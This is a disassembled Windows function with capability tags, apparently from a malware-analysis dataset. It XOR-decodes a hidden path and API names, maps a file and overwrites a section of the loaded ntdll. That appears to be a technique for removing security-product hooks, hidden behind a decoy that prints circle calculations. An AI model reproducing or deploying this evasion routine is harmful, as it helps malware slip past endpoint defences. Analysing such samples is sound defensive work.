Function at 0x1400024a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14004e080]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor r13d, r13d
mov dword [rsp + 0x68], r13d
mov dword [rbp - 0x50], 0x4d660059
mov dword [rbp - 0x4c], 0x555e5453
mov dword [rbp - 0x48], 0x4966494d
mov dword [rbp - 0x44], 0x5f4e4943
mov dword [rbp - 0x40], 0x66080957
mov dword [rbp - 0x3c], 0x565e4e54
mov dword [rbp - 0x38], 0x565e1456
mov word [rbp - 0x34], 0x3a56
mov dword [rbp], 0x61657243
mov dword [rbp + 4], 0x69466574
mov dword [rbp + 8], 0x614d656c
mov dword [rbp + 0xc], 0x6e697070
mov word [rbp + 0x10], 0x4167
mov byte [rbp + 0x12], r13b
mov dword [rbp - 0x30], 0x5670614d
mov dword [rbp - 0x2c], 0x4f776569
mov dword [rbp - 0x28], 0x6c694666
mov word [rbp - 0x24], 0x65
mov dword [rbp - 0x10], 0x616d6e55
mov dword [rbp - 0xc], 0x65695670
mov dword [rbp - 8], 0x46664f77
mov dword [rbp - 4], 0x656c69
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x18], rax
movsx r8d, byte [rbp - 0x33]
movd xmm1, r8d
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
mov ecx, r13d
lea rdx, [rbp - 0x50]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm1
movdqu xmmword [rdx], xmm0
add ecx, 0x10
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jb 0x140002600
cmp ecx, 0x1e
jae 0x14000263e
movsxd rax, ecx
lea rdx, [rbp - 0x50]
add rdx, rax
nop word [rax + rax]
xor byte [rdx], r8b
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x140002630
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400026bf
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call rbx
mov r15, rax
test rax, rax
je 0x1400026b6
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call rdi
mov r14, rax
test rax, rax
jne 0x1400026cb
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, 0xffffffffffffffff
jmp 0x140002aea
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov dword [rsp + 0x68], r13d
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
mov dword [rbp - 0x20], 0x74726956
mov dword [rbp - 0x1c], 0x506c6175
mov dword [rbp - 0x18], 0x65746f72
mov word [rbp - 0x14], 0x7463
mov byte [rbp - 0x12], r13b
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
xor r8d, r8d
movzx r9d, word [rdi + 6]
test r9d, r9d
je 0x1400027b1
movzx r10d, word [rdi + 0x14]
lea r11, [0x1400475c8]
movsxd rcx, r8d
lea rdx, [rcx + rcx*4]
lea rbx, [r10 + rdx*8]
add rbx, rdi
xor ecx, ecx
movzx eax, byte [rbx + rcx + 0x18]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x140002a4c
cmp rcx, 6
jne 0x140002750
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r12
lea r9, [rsp + 0x68]
mov r8d, 0x40
call r13
cmp dword [rsp + 0x68], 0
je 0x1400027b1
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + r12]
call fcn.14000f7c0
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r12
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x68]
call r13
mov rcx, r14
call qword [rbp + 0x18]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x70]
call fcn.140001e90
nop
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
movsd xmm0, qword [str.ptiti.txt]
movsd qword [rbp + 0x18], xmm0
movzx eax, word [0x140047578]
mov word [rbp + 0x20], ax
movzx eax, byte [0x14004757a]
mov byte [rbp + 0x22], al
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x68], 1
lea rax, [rbp + 0x18]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002830
mov rdi, qword [rbp - 0x60]
lea rdx, [rdi + rbx]
cmp rdx, 0x10
jb 0x14000285a
lea rcx, [rsp + 0x40]
call fcn.14000a3f0
mov qword [rsp + 0x50], 0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
mov r8, rdi
lea rcx, [rsp + 0x40]
call fcn.140004030
mov r8, rbx
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x40]
call fcn.140004030
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400028c2
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b27
call fcn.14000ddd4
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x70], xmm0
movdqu xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x70]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.140001e30
test rax, rax
jne 0x140002a5d
lea rdx, str.hello_hello_hello_hello_hello
lea rbx, [0x14004f4c0]
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
call fcn.140005680
lea rdx, str.hello_hello_hello_hello_hello
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
call fcn.140005680
lea rdx, str.please_input_r:
mov rcx, rbx
call fcn.1400053e0
lea rdx, [rsp + 0x68]
call fcn.140005720
movss xmm2, dword [rsp + 0x68]
cvtps2pd xmm2, xmm2
movaps xmm0, xmm2
mulsd xmm0, qword [0x140047cd8]
cvtpd2ps xmm6, xmm0
movaps xmm1, xmm2
mulsd xmm1, qword [0x140047cd0]
mulsd xmm1, xmm2
cvtpd2ps xmm7, xmm1
mov rax, qword [0x14004f4c0]
movsxd rcx, dword [rax + 4]
mov qword [rcx + rbx + 0x20], 2
mov rax, qword [0x14004f4c0]
movsxd rcx, dword [rax + 4]
mov dword [rcx + rbx + 0x18], 0x2000
lea rdx, str.The_perimeter_is:
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
movaps xmm1, xmm6
call fcn.140002bd0
mov rcx, rax
call fcn.140005680
lea rdx, str.The_area_is
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
movaps xmm1, xmm7
call fcn.140002bd0
mov rcx, rax
call fcn.140005680
lea rdx, str.The_area_is
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
movaps xmm1, xmm7
call fcn.140002bd0
mov rcx, rax
call fcn.140005680
lea rdx, str.The_perimeter_is:
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
movaps xmm1, xmm6
call fcn.140002bd0
mov rcx, rax
call fcn.140005680
lea rdx, str.The_area_is
mov rcx, rbx
call fcn.1400053e0
mov rcx, rax
movaps xmm1, xmm7
call fcn.140002bd0
mov rcx, rax
call fcn.140005680
jmp 0x140002a63
inc r8d
cmp r8d, r9d
jge 0x1400027b1
jmp 0x140002740
call fcn.140001f50
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140002a9f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b2d
call fcn.14000ddd4
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002ae8
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ae3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b21
call fcn.14000ddd4
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.14000ddb0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001b190
nop
call fcn.14001b190
nop
call fcn.14001b190
int3